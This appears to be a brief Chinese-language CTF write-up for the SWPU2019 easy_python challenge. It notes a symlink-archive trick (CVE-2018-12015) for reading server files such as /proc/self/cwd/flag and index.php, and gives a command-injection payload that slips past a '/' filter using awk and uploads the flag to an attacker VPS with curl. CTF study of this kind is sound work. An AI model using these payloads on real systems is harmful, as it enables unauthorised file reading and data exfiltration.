刷题记录:[SWPU2019]easy_python
刷题记录:[SWPU2019]easy_python
题目复现链接:https://buuoj.cn/challenges
参考链接:2019 SWPU CTF Web Writeup
SWPUCTF2019
知识点
CVE-2018-12015: Archive::Tar: directory traversal
如果服务器有解压上传的文件,使用软链接完成文件读取
ln -s /proc/self/cwd/flag/flag.jpg exp
zip -ry exp.zip exp
ln -s /var/www/html/index.php content
tar -cvf exp.tar content
/proc/self/cwd
可以获取当前工作目录
或者先读取/proc/self/environ
找到flask的工作目录
命令注入
payload:
$(sky=`awk 'BEGIN{printf "%c\n",47}'`&&curl vps_ip:23333 -T `cat .${sky}flag${sky}flag.jpg`)
- 在bash中,
$()
与``
(反引号)都是用来作命令替换的。命令替换与变量替换差不多,都是用来重组命令行的,先完成引号里的命令行,然后将其结果替换出来,再重组成新的命令行。 sky=`awk 'BEGIN{printf "%c\n",47}'`
绕过/
的过滤